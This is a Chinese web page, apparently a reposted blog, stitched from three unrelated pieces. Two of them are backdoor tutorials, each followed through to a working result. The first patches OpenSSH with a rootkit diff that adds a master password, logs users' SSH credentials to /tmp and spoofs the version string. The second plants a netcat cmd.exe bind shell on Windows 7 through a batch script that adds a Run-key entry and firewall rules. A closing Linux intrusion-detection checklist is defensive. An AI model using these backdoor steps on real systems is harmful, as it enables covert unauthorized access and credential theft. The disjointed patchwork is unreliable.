如何使用Linux通用后门

如何使用Linux通用后门,第1张

特别提示:仅用于安全测试和教学,禁止非法用途。

标题党了,呵呵

其实就是个ssh后门,基本可以不用看内核版本,很简单,为照顾新手!

*************************************************************************

地址在这http://core.ipsecs.com/rootkit/patch-to-hack/(已被墙)

我以 openssh 5.9centos 5.6 做演示

在这里找到对应的openssh版本 http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/

安装前首先

ssh -V

记录下原来ssh版本信息,免得安装后一看就版本不一样了

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar zxvf openssh-5.9p1.tar.gz

tar zxvf 0x06-openssh-5.9p1.patch.tar.gz

cd openssh-5.9p1.patch/

cp sshbd5.9p1.diff ../openssh-5.9p1

cd ../openssh-5.9p1

patch <sshbd5.9p1.diff //patch 后门

vi includes.h //修改后门密码,记录文件位置,

/*

+#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码

+#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码

+#define SECRETPW "123456654321"//你后门的密码

*/

vi version.h //修改ssh版本信息,改成原来的

先安装所需环境不然会报错

yum install -y openssl openssl-devel pam-devel

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

注意要是出现:configure: error: *** zlib.h missing – please install first or check config.log

需要安装zlib

yum install -y zlib zlib-devel// http://sourceforge.net/projects/libpng/files/zlib/1.2.3/zlib-1.2.3.tar.gz/download 需要 make clean

make &&make install

service sshd restart //重启sshd

然后我们登录ssh看看

再ssh localhost看看

使用后门密码登录是不会被记录的

后门,记录一举两得,是不是很简单

0×00 准备工作

假设用户以管理员权限登录系统,在Windows 7系统上使用netcat 创建一个后门。

Netcat 功能比较单一, 缺少了许多我们渗透工作中需要的功能。为此我们将创建一个便携式的工具包来解决这个问题 :

1.下载额外的文件和附加持续.

2.编辑修改指定文件.

3.快速创建执行后门.

4.控制远程服务器并进行恶作剧 :)

为了便于你第一时间获取到你的工具包,你需要将它放置在一个独立的U盘或者在线服务器上。

便携式工具(Portable Applications)

便携式工具是那些不需要安装就能直接使用的程序,它们往往将所有的执行环境和核心程序本身一同打包成一个独立的文件,方便携带。在独立文件执行的过程中会自行释放额的需求文件,并构建一个可顺利执行目标程序的环境。

1.不依赖特定的dll(dll已经打包)

2.不依赖注册表设置(有可能自行初始化) ,不遗留下任何注册表 *** 作痕迹

3. *** 作痕迹最小化,尽量避免一切不必要的 *** 作,导致留下过多的系统 *** 作记录

创建 Windows 7 工具集

gVim (跨平台的文本编辑器, 提供强大的命令行 *** 作交互)

Wget (下载 windows 64 位版本)

Netcat

有Kali系统的可以用命令 “find / -name nc.exe”搜索到 http://www.kali.org/ 或者下载已经编译好的版本 http://joncraton.org/blog/46/netcat-for-windows/

0×01初试 Netcat 后门

nc.exe -dLp 449 -e cmd.exe -L 这个选项会开启一个监听服务并等待客户端连接, 在客户端连接成功之后,会提供相应的交互服务。

– p 指定程序监听的端口(非管理员权限只能设置高于1024的端口. 同时不可复用现有端口)

– e 在接收到一个客户端连接后, 会执行一个特定的程序(这里是cmd.exe), 这个程序负责接下来的会话交互(执行客户端后期提交的任何命令)

– d 采取静默监听模式,避免nc运行过程中,产生过多额外的日志信息

Windows 7 后门安装批处理脚本

@echo off

Rem 拷贝文件到系统目录

xcopy "%systemdrive%\%username%\Desktop\nc.exe" "C:

\Windows\System32\" -y

Rem 修改注册表,增加后门自启动代码.

reg add "HKLM\software\microsoft\windows\currentversion\run" /f /v "system" /t

REG_SZ /d "C:\windows\system32\nc.exe -Ldp 449 -e cmd.exe"

Rem 添加防火墙规则,开放监听的449端口,允许外部连接.

netsh advfirewall firewall add rule name="Rule 34" dir=in action=allow

protocol=UDP localport=449

netsh advfirewall firewall add rule name="Rule 35" dir=in action=allow

protocol=TCP localport=449

Rem 添加防火墙规则,允许nc.exe对外提供连接.

netsh advfirewall firewall add rule name="Allow Messenger" dir=in action=allow

program="C:\windows\system32\nc.exe"

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

awk –F: ‘length($2)==0 {print $1}’ /etc/shadow

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东,

接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \依据core所在的目录、查询core文件来判断是否有入侵行为。

7、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,查询的结果是否正常来判断文件是否完整。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/6167719.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-03-17
下一篇 2023-03-17

发表评论

登录后才能评论

评论列表(0条)

保存